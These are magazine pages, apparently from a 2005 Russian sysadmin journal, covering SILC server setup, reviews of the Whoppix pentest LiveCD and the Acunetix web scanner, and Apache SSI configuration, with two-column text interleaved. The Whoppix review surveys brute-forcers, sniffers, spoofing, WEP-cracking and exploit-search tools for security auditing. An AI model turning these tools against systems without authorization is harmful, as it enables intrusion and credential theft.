PrivateKey = "/etc/silc/silcd.prv"; # ConÞgured server connections

# Файл, в который записывается сообщение, # Секция необходима, если ваш сервер является
# получаемое клиентом при соединении # маршрутизатором, для обычных серверов она не нужна
MotdFile = "/etc/silc/motd.txt"; #ServerConnection {
# Host = "10.2.1.7";
# Pid Þle # Passphrase = "verysecret";
PidFile = "/usr/local/silc/var/silcd.pid"; # PublicKey = "/path/to/the/public.pub"»;
}; # Params = "normal";
# Backup = false;
# Log Þles #};
Logging {
Timestamp = true; # ConÞgured router connections
# Сюда заносятся информационные сообщения, если
# не снять комментарий с секций Warnings, Errors # Маршрутизатор, на который будет завязан сервер,
# и Fatals, то в эту секцию будут заноситься все # для внутрикорпоративного можно не активировать
# сообщения сервера #RouterConnection {
Info { # Host = "10.2.1.100";
File = "/usr/local/silc/logs/silcd.log"; # Port = 706;
Size = "100k"; # Passphrase = "verysecret";
}; # #PublicKey = "/path/to/the/public.pub";
# Params = "normal";
# Warning messages # Initiator = true;
#Warnings { # BackupHost = "10.2.1.6";
# File = "/usr/local/silc/logs/silcd _ warnings.log"; # BackupPort = 706;
# Size = "50k"; # BackupLocal = true;
#}; #};

# Error messages
#Errors { # Denied connections
# File = "/usr/local/silc/logs/silcd _ errors.log";
# Size = "50k"; # Здесь описываются соединения, которые будут отброшены
#}; #
#Deny {
# Fatal messages # Host = "10.2.1.99";
#Fatals { # Reason = "Go away spammer";
# File = "/usr/local/silc/logs/silcd _ fatals.log"; #};
# Size = "50k"; #Deny {
#}; # Host = "10.3.*";
}; # Reason = "You are not welcome.";
#};
# Connection Parameters

# Эта секция определяет специфические параметры связи, Все, сервер можно запускать. Но не спешите. Дело
# если какой-то параметр не использован, его значение
# будет взято из General. Можно описать несколько секций, в том, что в ключах сервера (по умолчанию используют-
# которые будут отличаться по уникальному имени, для того ся ключи SILC) заложена также информация о том, кто их
# чтобы указать индивидуальные параметры
ConnectionParams { сгенерировал. И при несовпадении с реальной клиенты
# Обязательное уникальное имя не смогут присоединиться к серверу без каких-либо объ-
name = "normal";
connections _ max = 200; яснений. Поэтому вначале ключ необходимо регенериро-
}; вать. Для этого запускаем сервер с опцией -С. Самое ин-
# ConÞgured client connections тересное, что он не хочет брать параметры из конфигура-
ционного файла, а поэтому придется их вбивать вручную.
# Эта секция определяет параметры соединения клиентов.
# Параметр «Host» позволяет указать IP-адрес или имя узла, То есть если человек набрал их вручную, то он понимает,
# с которого могут соединяться клиенты. Если он что делает и отвечает за это.
# отсутствует, с сервером могут соединяться все клиенты
# Формат такой:
# Опции Passphrase, PublicKey и PublicKeyDir указывают
# на используемую аутентификацию и местонахождение silcd -C /etc/silcd --identiÞer="UN=<username>, ↵
# необходимых файлов HN=<hostname or IP>, RN=<real name>, ↵
# E=<email>, O=<organization>, C=<country>"
# Секция ниже разрешает подсоединяться всем клиентам
# без аутентификации с параметрами связи, определенными
# в ConnectionParams с именем normal Параметры UN и HN обязательные. Эта информация
Client {
#Host = "10.1.*"; будет выводиться пользователю при первом подключе-
#Passphrase = "secret"; нии (рис. 1).
#PublicKey = "/path/to/the/user _ my.pub";
#PublicKeyDir = "/path/to/keys/dir/"; Генерируем ключ:
Params = "normal";
}; # /usr/local/silc/sbin/silcd -C /etc/silcd ↵
--identiÞer="UN=grinder, HN=silctest.com, ↵
RN=Sergej Jaremchuk, E=admin@silctest.com"
# ConÞgured server administrator connections

# Секция описывает параметры соединения администратора И запускаем:


Admin {
Host = "192.168.0.20";
User = "grinder"; # /usr/local/silc/sbin/silcd

60
безопасность

Рисунок 1. Информация о публичном ключе сервера

Рисунок 2. Пользователь может проверить полученный


публичный ключ сервера

Рисунок 4. Параметры новой учетной записи для присоединения


к серверу SILC

Рисунок 3. Присоединяемся к каналу

В лог-файле должна появиться информация об успеш-


ном старте сервера, без ошибок.
Проверяем:

# ps -aux | grep silcd


nobody 29704 0.0 0.5 2636 1212 ? S 13:47 0:00 /usr/local/silc/sbin/silcd

# netstat –a | grep 706 Active Internet connections ↵


(servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address State Рисунок 5. Если канала с введенным именем на сервере нет,
tcp 0 0 silctest.com:706 *:* LISTEN то будет создан новый канал и вы будете его основателем

Можно подсоединяться клиентом. Запускаем Gaim и за- и вы являетесь его основателем (рис. 5). Все, теперь у вас
водим новую учетную запись (рис. 4). Выбираем протокол есть свой рабочий сервер SILC, можно оповещать пользо-
SILC и заполняем поля «Имя пользователя», пароль, псев- вателей о появлении нового сервиса.
доним. Кнопка «Показать больше параметров» позволит из- Безопасность, лучшая масштабируемость SILC-серве-
менить номер порта, указать на месторасположение фай- ров привели к тому, что многие организации, беспокоящи-
лов публичного и закрытого (личного) ключей, а также на- еся о сохранении в тайне передаваемой информации, за-
строить некоторые параметры аутентификации и при не- менили свои IRC-серверы на SILC. Кто следующий?
обходимости адрес прокси. Если у вас нет ключа, то он бу-
дет автоматически сгененерирован при первом соедине- Литература и ссылки:
нии с сервером. 1. IN-2002-03: Social Engineering Attacks via IRC and Instant
Нажимаем вход и соединяемся с сервером, подтвержда- Messaging (http://www.cert.org/incident_notes/IN-2002-
ем получение публичного ключа сервера (рис. 2). На севе- 03.html)
ре сейчас делать нечего, выбираем пункт «Присоединиться 2. Слободской А. IRC-сервер. – Журнал «Системный Ад-
к чату» и канал проверка без пароля (рис. 3). Так как такого министратор» №7, июль 2003 г. – 28-30 с.
канала на сервере нет, то он будет автоматически создан 3. Сайт проекта SILC – http://silcnet.org.

№9, сентябрь 2005 61


безопасность

УСТОЙЧИВА ЛИ ВАША СЕТЬ?


ПРОВЕРЬТЕ С ПОМОЩЬЮ WHOPPIX!

ИЛЬЯ АЛЕКСАНДРОВ
Эксплойты, сканеры уязвимостей и прочий security-софт нужен не только злостным
компьютерным взломщикам, но и каждому системному администратору, в чьем распоряжении
находятся крупные сети и веб-сервера. Сегодня речь пойдет о специализированном
дистрибутиве Linux, который во много раз упростит процесс аудита системы и займет
достойное место в вашей коллекции незаменимых программных инструментов.

П
роблемы с безопасностью зна- пулярных продуктах есть уязвимости, изводителя, использование firewall
комы каждому из вас. Пользу- позволяющие хакеру получить конт- и систем обнаружения атак не избав-
етесь ли вы Windows или Linux, роль над системой. Регулярное обнов- ляет от процесса тестирования защи-
Apache или Microsoft IIS, – во всех по- ление ПО, установка патчей от про- ты. Это отнимает огромное количес-

62
безопасность
тво времени, требует использования кунд нашему взору предстает эмбле- ключение на английский, что при ра-
специальных security-программ, кото- ма Whoppix и приглашение «boot:», где боте с Whoppix смерти подобно. Луч-
рые еще надо найти в Интернете и ус- можно выбрать опции загрузки. Напри- ше использовать английский интер-
тановить. Но сегодня появился инс- мер, если ввести: фейс, а для возможности набора рус-
трумент, способный облегчить нелег- ских символов добавить в файл /etc/
кий труд администратора – дистрибу- knoppix lang=ru desktop=ßuxbox ↵ X11/XF86Config строчку:
screen=1024x768
тив Linux Whoppix, работающий на тех-
нологии LiveCD. Идея «живого CD» мы будем работать в оконном менед- XkbLayout "us,ru(winkeys)"
не нова, первые подобные разработ- жере fluxbox с русским интерфейсом и
ки появились еще в конце девяностых. разрешением 1024x768. Все оборудование распозналось
Но по-настоящему популярной техно- Остальные опции можно просмот- без проблем, единственное, что при-
логия стала только недавно – с появ- реть, нажав <F2> и <F3> при появле- шлось настраивать, – звуковую карту
лением дистрибутива Knoppix, кото- нии логотипа дистрибутива. Полная Sound Blaster 128 PCI. Впрочем, благо-
рый был создан немецким профессо- загрузка Whoppix длится порядка двух даря утилите soundcardconfig это было
ром Клаусом Кноппером для обуче- минут, это зависит от конфигурации сделано в течение десяти секунд.
ния студентов основам UNIX. Для ра- ПК и скорости CD-привода. Систем- А вот что привело в восхищение –
боты дистрибутив использует вирту- ные требования довольно скромны – так это утилиты для настройки доступа
альный диск определенного разме- процессор класса P3 и 64 Мб опера- в Интернет. С помощью KwiFimanager
ра, храня данные в оперативной па- тивной памяти. и pppoeconf вы в два клика мыши на-
мяти. Все пакеты находятся в сжатом Графической оболочкой по умолча- строите подключение с использовани-
виде – иначе на диск не вместилось нию установлена KDE (см. рис. 1), ко- ем технологий Wi-Fi и ADSL. Есть да-
бы достаточное количество программ. торая является хоть и удобным, но до- же набор утилит для связи компьюте-
Компрессия и декомпрессия настро- вольно медленным окружением, осо- ра с мобильным телефоном и исполь-
ены так, что используют лишь необ- бенно при работе с LiveCD. Кстати, зования последнего в качестве GPRS-
ходимое количество ОЗУ, а большая по каким-то причинам Whoppix быс- модема. Причем телефон можно под-
часть работы происходит непосредс- тродействием не отличается, даже соединять как по USB-кабелю, так
твенно с CD. В среднем LiveCD рабо- Knoppix, на котором он основан, ра- и по Irda и bluetooth.
тает так же быстро, как и система, ус- ботает шустрее. Хотя это может быть Остается настроить сеть, а для это-
тановленная на жесткий диск, это про- дефектом отдельного CD, рекомен- го нужно знать IP-адреса серверов
исходит за счет блочного сжатия/рас- дую использовать fluxbox или вообще DNS, которые я, конечно же, не пом-
жатия и предупорядоченного доступа работать в консоли, благо большая нил. На моем компьютере Linux ус-
к файлам. Разработчики Whoppix при- часть утилит функционируют в текс- тановлен на жесткий диск, и отдел
няли здравое решение не изобретать товом режиме. reiserFS Whoppix уже заботливо при-
велосипед, а использовать для свое- Также не понравились шрифты – монтировал. Оставалось только вы-
го проекта уже хорошо себя зареко- во многих программах они неразбор- полнить команду:
мендовавший Knoppix. В принципе чивые и неэстетичные. Как оказалось,
Whoppix им и является, только вместо в дистрибутиве просто нет TrueType # cp /mnt/hda1/etc/resolv.conf /etc
медиа-проигрывателей и офисных па- Fonts, разработчики забыли про такую
кетов здесь эксплойты и security-ути- важную вещь, как антиальясинг. и сеть готова к работе.
литы. Whoppix специально создавал- Теперь что касается русифика- Теперь немного о ПО, поставляе-
ся для тестирования информационных ции (напомню, локализовать систему мом с Whoppix. К счастью, разработ-
систем на устойчивость к различного можно, набрав lang=ru при загрузке). чики догадались не включать в дист-
рода сетевым атакам. В его составе Она реализована неплохо, но при вы- рибутив для специалистов в ИТ-безо-
можно обнаружить архивы эксплойтов боре русского языка недоступно пере- пасности видеоплееры и игры, оста-
от securityfocus и packetstorm, скане-
ры безопасности, утилиты для работы WHoppix – коротко о главном го предназначена для специалистов в об-
в локальных сетях и массу других не- WHoppix 2.7.1. – дистрибутив Linux, рабо- ласти ИТ-безопасности и системных адми-
заменимых вещей. Whoppix работает тающий на технологии LiveCD и предна- нистраторов. Также в состав WHoppix вклю-
непосредственно с CD, в качестве гра- значенный для тестирования информаци- чены архивы эксплойтов от SecurityFocus и
фической оболочки используется либо онных систем на устойчивость к сетевым PacketStorm. Разработчиком WHoppix явля-
KDE, либо fluxbox. ISO-образ дистрибу- вторжениям. Основан на Knoppix, который ется команда энтузиастов WHAX team, об-
тива можно скачать с whoppix.net, или в свою очередь базируется на небезызвест- разовавшаяся во время работы над дист-
заказать в онлайн-магазинах. ном Debian GNU/Linux. Во WHoppix включе- рибутивом. Имена создателей по понятным
но ядро 2.6.11, в качестве графической сре- причинам не разглашаются. Дистрибутив
Работа с дистрибутивом ды установлена KDE (опционально предла- является свободно-распространяемым и
Итак, вставляем компакт-диск в при- гается fluxbox). Благодаря использованию каждый может скачать его iso-образ с офи-
вод и, не забыв сменить приоритет для декомпрессии на одном CD находятся по- циального портала – whoppix.net. WHoppix
загрузочного устройства в BIOS, пе- рядка двух гигабайт различного програм- довольно молодой проект – первая версия
резагружаемся. Через несколько се- много обеспечения, большая часть которо- вышла в 2003 году.

№9, сентябрь 2005 63


безопасность

Рисунок 1. Графическая среда KDE в WHoppix Рисунок 2. Программа NetWox – комплекс утилит для работы
в локальных сетях
вив лишь самое необходимое. Gcc для и хорошо себя зарекомендовавшим Klinkstatus проверит сайты на ва-
компиляции, Xpdf для чтения доку- продуктом. Программисты на Python лидность по введенным адресам – по-
ментов, Firefox как браузер, ну а если по достоинству оценят scapy – интер- лезная в некоторых случаях утилита,
музыкальный фон для вас – незаме- претатор с множеством дополнитель- особенно для работающих в хостинго-
нимое условие, то для прослушива- ных функций и хорошим руководством. вых компаниях. Скрипт list-vris.py соби-
ния любимых композиций подойдет Но отдельно хочется отметить netwox – рает все линки и e-mail-адреса с вы-
XMMS. Также в Whoppix есть gFTP, комплекс утилит для работы в локаль- бранной веб-страницы. Это скорее по-
Gaim, Xchat и программа для снятия ных сетях (см. рис. 2). С его помощью хоже на орудие спамера, нежели адми-
скриншотов. Что же, разобравшись него можно просмотреть всю инфор- нистратора, но да бог с ним. Очень по-
с тем, что представляет собой дис- мацию об адаптерах, открытых и за- лезной может стать программа xwhois,
трибутив, начнем использовать его крытых портах, о включенных в сеть которая по введенному веб-адресу или
по прямому назначению – для обна- компьютерах. В состав netwox входят IP выведет географическую информа-
ружения уязвимостей в системах бе- «снифферы», перехватывающие паке- цию, сообщит имя владельца домена
зопасности. ты в LAN, и «спуфинг»-приложения, по- или адрес и телефон провайдера, про-
сылающие пакеты с несуществующе- веряемого сервисом whois. Програм-
Whoppix-tools го IP-адреса. Посредством этих при- ма работает с большим числом серве-
Все утилиты, касающиеся безопас- ложений можно выявить и устранить ров, за счет чего информация никогда
ности, находятся в директории /pentest слабо защищенные места в локаль- не бывает устаревшей или неполной.
корневого каталога. Начнем со вспо- ной сети. Также в состав netwox входит Есть несколько полезных утилит, уве-
могательных программ. Здесь можно telnet-клиент и несколько сканеров уяз- личивающих функциональность стан-
обнаружить rdesktop, позволяющий вимостей, но возможности последних дартной программы traceroute, пред-
управлять удаленным windows-ком- оставляют желать лучшего. Полезны- назначенной для исследования сети
пьютером как своим, используя прото- ми могут оказаться приложения, про- при помощи протокола ICMP. Напри-
кол RDP. Для пользователей VNC-се- веряющие на работоспособность FTP- мер, mtr – программа, проводящая
тей предусмотрен xvncviewer, удобный и IRC-сервера. диагностику сети посредством утилит
и быстрый графический клиент. Если Перейдем в /pentest/enumeration, ping, traceroute и им подобным, позво-
понадобится поднять FTP-сервер, вос- где находится масса утилит самого ляющая выявить практически любую
пользуйтесь демоном tftpd, надежным различного назначения. неисправность. Нужна при админист-
рировании большего количества ком-
Frenzy – альтернатива Whoppix Дистрибутив имеет графическую оболоч- пьютеров.
Whoppix не единственный LiveCD-дистри- ку, утилиты для настройки сети, маршрути- Ни для кого не секрет, что поиско-
бутив для системного администратора. зации трафика, программы для настройки вую машину google все чаще исполь-
Можно вспомнить еще и Frenzy – этот дис- DNS и NAT. В обилии представлен security- зуют для поиска уязвимостей на веб-
трибутив основан на FreeBSD 5.2.1-release. софт: сканеры уязвимостей, системы об- сайтах. В whoppix есть две утилиты,
Frenzy разрабатывается украинским про- наружения атак, переборщики паролей, автоматизирующее и упрощающие
граммистом, но языком по умолчанию в «снифферы», и множество других про- процесс google-hacking, но описывать
системе является русский, и стопроцентная грамм. Интересная особенность Frenzy – их подробно смысла нет – разобрать-
локализация для многих может стать реша- возможность сохранять все настройки на ся с ними труда не составит. Есть по-
ющим фактором при выборе ОС, работа- жесткий диск, дискету, или флэшку. Благо- лезные программы для проверки заня-
ющей непосредственно с компакт-диска. даря этому после перезагрузки Frenzy об- тости логинов на mail-серверах (и все-
Размер дистрибутива – 210 Мб, что позво- ретет прежний вид, загрузив уже установ- таки к созданию дистрибутива прило-
ляет уместить его на трехдюймовый диск. ленную конфигурацию. жили руку спамеры), скрипты для на-

64
безопасность

Рисунок 3. Лучший сканер портов и самый мощный переборщик Рисунок 4. Nessus. Опции сканирования
паролей – Nmap и Hydra
стройки DNS-сервера, и не понят- иска ошибок в веб-сценариях и cgi- фантастической скоростью работы –
но как затесавшийся в этот список скриптах служит nikto – утилита, обна- несколько миллионов перебираемых
Leo-editor, редактор для веб-програм- руживающая более 2500 уязвимостей. паролей в минуту. Имеет как удобный
мистов. В hoppix присутствует LDAP Ну и, конечно же, классика жанра – графический интерфейс, так и кон-
Browser, похожее на Internet Explorer nmap и nessus. Думаю, nmap в пред- сольную версию.
приложение, служащее для переме- ставлении не нуждается. Лучший ска- Разработчики Whoppix не обошли
щения по службе каталогов (протокол нер портов, с возможностью определе- своим вниманием и утилиты для пе-
LDAP). Отдельно хочется отметить на- ния ОС на удаленном ПК, продвинутые рехвата пакетов в сети – «снифферы».
бор утилит для работы с Samba – здесь возможности, поддержка невидимого Одна из самых мощных утилит подоб-
и мощный переборщик паролей, поз- сканирования и полуоткрытого SYN- ного рода – Ethereal, анализирующая
воляющий выявить слабые пользова- сканирования. NMAP – незаменимая пакеты на любых сетевых устройствах
тельские аккаунты, и клиент для SMB- программа для каждого системного и расшифровывающая около 500 се-
сетей, и приложение, позволяющее администратора (см. рис. 3). Лучшей тевых протоколов. Еще один популяр-
получить информацию об удаленном утилитой для оценки безопасности се- ный «сниффер» – ettercap. Захватыва-
SMB-сервере. ти является nessus (см. рис. 4). Рабо- ет подключения между двумя хостами
тает на технологии клиент/сервер, об- и работает с SSH и другими защищен-
Обнаружение уязвимостей ладает огромным количеством плаги- ными протоколами. Отмечу tcpdump,
Естественно, отдельное внимание уде- нов, дает рекомендации решения про- разрабатываемую с 1992 года програм-
лено сканерам безопасности. Cheops блем. У nessus постоянно обновляемая му, которая фиксирует каждый прохо-
позволяет определить ОС на боль- база уязвимостей, графический интер- дящий через сетевую плату пакет.
шинстве удаленных машин, а также фейс, а единственным недостатком яв-
зачастую находит разные интерес- ляется довольно медленная скорость Эксплойты
ные элементы (сетевые принтеры, ро- работы, но не думаю, что это очень су- Чего-чего, а этого во Whoppix хоть от-
утеры) и выводит массу других дан- щественно. бавляй. Директория /pentest/exploits
ных. Cheops – дополненный вариант Программы для перебора паролей занимает 110 Мб! Причем большая
«network neighborhood», создающий нужны администратору для выявления часть эксплойтов находится в исход-
образ сервера с описанием подроб- слабых пользовательских аккаунтов ных кодах, для экономии жестко ли-
ной о нем информации. Whoppix со- и для дальнейшего смены пароля на митированного места. Здесь архивы
держит разработку unicornscan, явля- более надежный, во избежание взло- от securityfocus, packetstorm, milw0rm.
ющейся расширенным сканером пор- ма аккаунта хакерами (среди послед- Естественно, искать во всем этом мно-
тов. Главное достоинство – скорость, них «брутфорс» популярен куда боль- гообразии нужный вам эксплойт не-
unicorscan выдает 30 000 пакетов в се- ше, нежели среди системных адми- реально, для этого существует скрипт
кунду на обычной сетевой карте. Ска- нистраторов). В Whoppix можно обна- find-sploit.pl. Вводите в консоли его
нер может эмулировать IP-стеки раз- ружить переборщики под FTP, Samba, и сервис, под который ищете эксплойт,
личных операционных систем, что поз- VNC, MySQL, и массу других серви- например:
воляет обманывать даже хорошо на- сов. Но хотелось бы отдельно выделить
строенные брандмауэры. Xhydra, безусловно, лучшую утилиту # ./Þnd-sploit Windows XP
Также интересен amap (не путать подобного рода, не имеющую альтер-
с nmap, о котором позже). Хотя ничего нативы ни в Windows, ни в UNIX. Hydra и скрипт выведет пути к нужным вам
кардинально нового в нем нет, просто поддерживает все протоколы – начи- программам (см.рис. 5).В Whoppix вхо-
обычный сканер портов, качественно ная FTP и POP3, заканчивая ssh и да- дит легендарный Metasploit Framework
выполняющий свою работу. Для по- же ICQ! Также программа отличается (см. рис. 6), – среда разработки, поз-

№9, сентябрь 2005 65


безопасность

Рисунок 5. Поиск эксплойта под веб-форум PhpBB Рисунок 6. Средство разработки эксплойтов – Metasploi
Framework

Рисунок 7. Программы для аудита CISCO-систем Рисунок 8. Работа с беспроводными сетями


воляющая создать любому опытному (см. рис. 8). Kismet обнаружит Wi-Fi- Пожалуй, на этом описание про-
программисту эксплойт за предельно сети и выдаст массу информации грамм, связанных с ИТ-безопаснос-
короткие сроки. о них: имя, используемое оборудова- тью, закончим. Описать весь софт, вхо-
Для работающих на технологиях ние, определит, включено ли шифро- дящий в арсенал Whoppix, объем ста-
от CISCO systems предусмотрен на- вание данных, позволит подключить- тьи не позволяет, да это и не нужно –
бор утилит cisco-tool, содержащий в се- ся к LAN. В современных сетях исполь- со всем ПО разберется любой грамот-
бе несколько небольших приложений, зуется шифрование данных, реализо- ный администратор.
способных выявить бреши в защите ванное протоколом WEP. Надежность Вообще, Whoppix оставил неод-
сети (см. рис. 7). алгоритма стоит проверить утилитами нозначное впечатление. С одной сто-
Желающие сохранить аноним- airodump и airocrack, созданными спе- роны, грамотный дистрибутив, дейс-
ность в глобальной паутине могут циально для взлома систем шифрова- твительно способный помочь ИТ-спе-
воспользоваться списком proxy-сер- ния сетей Wi-Fi. циалистам, с другой – некоторые не-
веров, но полагаю, что многие из них Присутствует софт под Bluetooth – приятные моменты наподобие отсутс-
уже не работают и лучше использо- помимо многочисленных программ для твия нормальных шрифтов и медлен-
вать более свежие списки, благо най- настройки есть утилиты для сканиро- ная работа. И еще очень насторажива-
ти их в Интернете труда не составит. вания на наличие рядом с компьюте- ет обилие откровенно хакерских ути-
Whoppix поможет проверить на про- ром активных BT-устройств, перехват- лит, предназначенных для неправо-
чность и базы данных – Microsoft SQL, чики пакетов и даже программа, позво- мерного взлома, а не настройки собс-
MySQL, Oracle. ляющая взять всю информацию с те- твенных сетей. Автор статьи насто-
лефонной книги мобильного телефо- ятельно рекомендует использовать
Wi-Fi и Bluetooth на. Правда, для меня остается тайной, Whoppix только по его прямому назна-
Не забыты и беспроводные сети – на- как все это поможет системному адми- чению. Лица, использующие информа-
строить Wi-Fi поможет KwiFimanager, нистратору – локальных сетей, работа- цию данной статьи в противозаконных
а для тестирования сети на защищен- ющих на bluetooth я не видел, и не ду- целях, могут быть привлечены к от-
ность ничего лучше kismet не найти маю, что когда-либо увижу. ветственности.

66
безопасность

ОПРЕДЕЛЯЕМ УЯЗВИМОСТИ ВЕБ-СЕРВИСА


С ПОМОЩЬЮ ACUNETIX WEB VULNERABILITY SCANNER

СЕРГЕЙ ЯРЕМЧУК
Сегодня большая часть информации обрабатывается веб-приложениями и выдается
пользователю с помощью динамически генерируемых страниц. Номера кредитных карточек,
персональные данные клиентов, важная корпоративная информация, ко всему этому можно
получить доступ 7 дней в неделю, 24 часа в сутки. Естественно, и злоумышленики пытаются
этим воспользоваться.

Н
есмотря на то что уязвимости могут быть в принципе Вручную проверить большой объем кода, чтобы вы-
в любом сервисе, запущенном в системе, статисти- явить все возможные значения всех элементов данных –
ка показывает, что в последнее время существенно задача сложная и трудоемкая, требующая больших зна-
увеличилось количество нападений на прикладном уров- ний в различных областях. По этой причине все чаще при-
не. По различным подсчетам приблизительно 60-75% атак ходится прибегать к специализированным сканерам безо-
направлены на веб-cервисы, количество таких атак, как пасности, работающим на прикладном уровне. Одним из
SQL Injection, cross-site-scripting, никогда не уменьшается. продуктов, позволяющим протестировать веб-сайт на на-
Несмотря на то что об этих технологиях и методах защиты личие слабых мест, является Acunetix Web Vulnerability
от них написано немало, взломы все равно продолжаются. Scanner.
Вероятно, потому, что веб-сервер ориентирован на публич-
ный доступ, поэтому его не спрячешь за межсетевым экра- Основные возможности Acunetix WVS
ном. Страдают не только проекты, созданные программис- При проверке ресурса Acunetix WVS сначала изучает весь
тами-одиночками, но и, казалось бы, вылизанный код круп- сайт, следуя за всеми ссылками, включая файл robots.txt,
ных проектов также содержит ошибки. Отследить все мо- выводит общую структуру и информацию о каждом файле,
менты довольно тяжело, да и подчас работа сдается в ав- версию сервера и программного обеспечения. Для умень-
ральном порядке в короткие сроки. Ситуацию усложняет шения трафика можно выбрать режим ручного сканирова-
то, что протокол HTTP может использовать множество спо- ния (Get list URL only), когда выводятся только ссылки на
собов кодирования и инкапсуляции информации. Поэтому страницы, а исследователь сам выбирает необходимое на-
контроль за вводимой информацией и проверка ее коррек- правление. Следующим шагом происходит автоматическая
тности по-прежнему являются ключевыми факторами при проверка всех вводимых данных. При обнаружении уязви-
обеспечении безопасности всех веб-приложений. мостей можно щелчком мышки получить подробную инфор-

68
безопасность
мацию об уязвимом месте. Предупреждения разделены на
четыре категории в зависимости от опасности: Informational,
Low, Medium и High.
Сканирование больших ресурсов может забрать много
времени, поэтому некоторые тесты можно отключать, прав-
да, если вычетко осознаете, что делаете. Кроме того, мож-
но задать расширения файлов, ссылки на которые не бу-
дут отслеживаться. Для удобства можно создать несколь-
ко профилей сканирования и сканировать веб-сайты с раз-
личными настройками.
В зависимости от версии сканера можно задать DNS-
имя проверяемого ресурса, IP-адрес либо диапазон адре-
сов. Если адресов для сканирования много, то удобнее ис-
пользовать предварительно составленный список, кото-
рый затем передать программе. Сканируются в том числе
и виртуальные узлы, в независимости от типа веб-серве- Acunetix WVS позволяет сравнить результаты сканирования
ра и используемой операционной системы. Acunetix WVS дации по их устранению, и ссылку на ресурсы с подробным
в автоматическом режиме способен обнаруживать многие описанием уязвимости. Кроме того, результат может быть
уязвимые места, которые могут привести к атакам (внед- сохранен в базе данных (поддерживается MS SQL Server
рение кодов PHP и ASP, SQL и CRLF-внедрение, SSI и меж- от 7.0 и MS Access) для последующего просмотра и со-
сайтовый скриптинг, выполнение кода, включение файла поставления с последующим сканированием при помощи
и др.). Поддерживаются все основные веб-технологии ASP, Compare results node (рис.). Обнаруживая таким образом
ASP.NET, PHP и CGI. Обнаруживаются места, позволяющие все изменения и уязвимые места, появившиеся за это вре-
просмотреть исходный код. мя. Работает на Windows 2000/XP/2003, для установки пот-
Сканер обнаруживает файлы и каталоги, которые могут ребуется 17 Мб свободного пространства.
содержать чувствительную информацию и каталоги со сла-
быми разрешениями, в которых можно редактировать, уда- Лицензия
лять и создавать файлы. Определяет наличие опасных ме- Acunetix W VS дос т упен в дву х верс иях enterprise
тодов HTTP (PUT, TRACE, DELETE). Кроме того, он позволя- и consultant. Первая имеется в различных вариантах и мо-
ет заменять стандартные баннеры, выдаваемые сервером. жет быть ограничена по количеству сканируемых сайтов,
Встроенный редактор HTTP/HTTPS (HTTP editor) позволяет времени использования и типам компьютеров, на которых
создавать запросы к серверу, для того чтобы затем, проана- может устанавливаться Acunetix WVS. Кроме того, версия
лизировав ответ, самому оценить уязвимость сервиса к но- enterprise оставляет записи в файлах журналов веб-сер-
вым видам атак. Для декодирования POST-запросов в рас- веров о произведенном сканировании. Ориентирована
поряжение исследователя дается соответствующий деко- в первую очередь на администраторов, которые должны
дер (Base 64 в plain text, URL в plain и наоборот). Новые ата- контролировать безопасность своего сервера. Вторая не
ки можно создавать при помощи Vulnerability Editor. имеет ограничений по количеству сканируемых серверов
Сниффер HTTP позволяет регистрировать, прерывать и ориентирована на специалистов по безопасности. Це-
и модифицировать весь HTTP/HTTPS-трафик. Для удобс- на колеблется от 395 до 2995 у.е. Оценочная версия, кото-
тва можно подключать фильтры (traps) или задавать регу- рую можно свободно скачать, не позволяет сохранять ре-
лярные выражения, которые будут отслеживать только оп- зультат сканирования и ограничена только адресом http://
ределенные события. test.acunetix.com.
Одним из слабых мест в любой защите является исполь- Напоследок хочется отметить, что Acunetix WVS облада-
зование слабых паролей. Тест аутентификации позволяет ет удобным и понятным интерфейсом, помогающим в рабо-
обнаружить такие места, используя атаку по словарю. При те, легок в установке, настройке и использовании. Букваль-
этом в случае получения 401 ответа от сервера програм- но через несколько минут после начала установки можно
ма переходит к следующему слову. Если сервер использу- получить готовый результат. К плюсам также можно отнес-
ет нестандартный ответ (что можно проследить при помо- ти частичную локализацию выводимых сообщений и хоро-
щи сниффера), в отдельном поле можно указать его номер. шую документацию.
Учитывая, что подобную методику используют и другие про-
граммы, предназначенные для подбора пароля, веб-масте- Ссылки:
рам следует в случае неудачного ввода пароля просто воз- 1. Страница проекта Acunetix WVS – http://www.acunetix.
вращать исходную форму без дополнительных коммента- com/wvs.
риев либо перебрасывать пользователя на другую страни- 2. Open Source (GPL) web server scanner Nikto – http://www.
цу (можно и динамически генерируемую). Такой подход за- cirt.net/code/nikto.shtml.
труднит перебор и по крайней мере отвадит новичков, ис- 3. Webserver Security Scanner AriRang – http://www.monkey.
пользующих чужой инструментарий. org/~pilot/arirang.
По окончанию сканирования выдается отчет, в котором 4. Цикл статей «Тестирование веб-приложений на проник-
указаны не только уязвимые места, но и короткие рекомен- новение» – http://www.bugtraq.ru/library/security.

№9, сентябрь 2005 69


web

АККУРАТНАЯ НАСТРОЙКА SSI

АЛЕКСЕЙ МИЧУРИН
Документация и описания SSI столь же многочисленны, сколь широко применение
этого механизма. И тем удивительнее то, как мало внимания уделяется оптимизации SSI
и при написании документации, и при использовании SSI на практике.

С
егодня мы обсудим три аспекта настройки механиз- ческими, а могут, в свою очередь, содержать SSI-инструкции.
ма SSI. Во-первых, SSI часто используется для вклю- Как регламентировать обработку этих файлов, запретив SSI-
чения внешних файлов в состав SHTML-документа. интерпретатору обрабатывать заведомо статические доку-
Эти включаемые файлы, естественно, не являются полноцен- менты? И в-третьих, как настроить механизм кэширования
ными, законченными HTML-документами и не предназначе- SHTML-документов? Известно, что по умолчанию SHTML-до-
ны для просмотра посетителями. Как запретить доступ к этим кументы не кэшируются, но зачастую они не так уж динамич-
файлам? Во-вторых, включаемые файлы могут быть стати- ны, чтобы полностью отказаться от кэширования.

70
web
Все поставленные задачи мы будем решать средства- <!--#include virtual="head.sthml" -->
<p>Содержимое страницы</p>
ми сервера Apache, ориентируясь на версию 1.3, которая </body>
не торопится сдавать свои позиции. Однако все предлага- </html>
емые рецепты будут работать и на Apache 2.0. На сущест-
венных отличиях между «старым» и «новым» Apache мы бу- А во вставляемом документе проанализируем, уста-
дем останавливаться особо. новлен ли флаг:
Сервер Apache, как известно, работает на множестве
платформ. Большинство рецептов, приведённых в этой <!-- файл шапки head.shtml -->
<!--#if expr="$SSI _ FLAG" -->
статье, столь же универсальны. Исключения будут отме- <html>
чены. <head>
<title>Название</title>
</head>
Регламентируем доcтуп <body>
<h1>Название</h1>
Судя по названию (Server-Side Includes), основным предна- <hr>
значением SSI является включение файлов. Неудивитель- <--#else -->
<html>
но, что наиболее часто разработчики используют SSI-ди- <head><title>ERROR 999</title></head>
рективу include. <body><h1>Документ не доступен</h1></body>
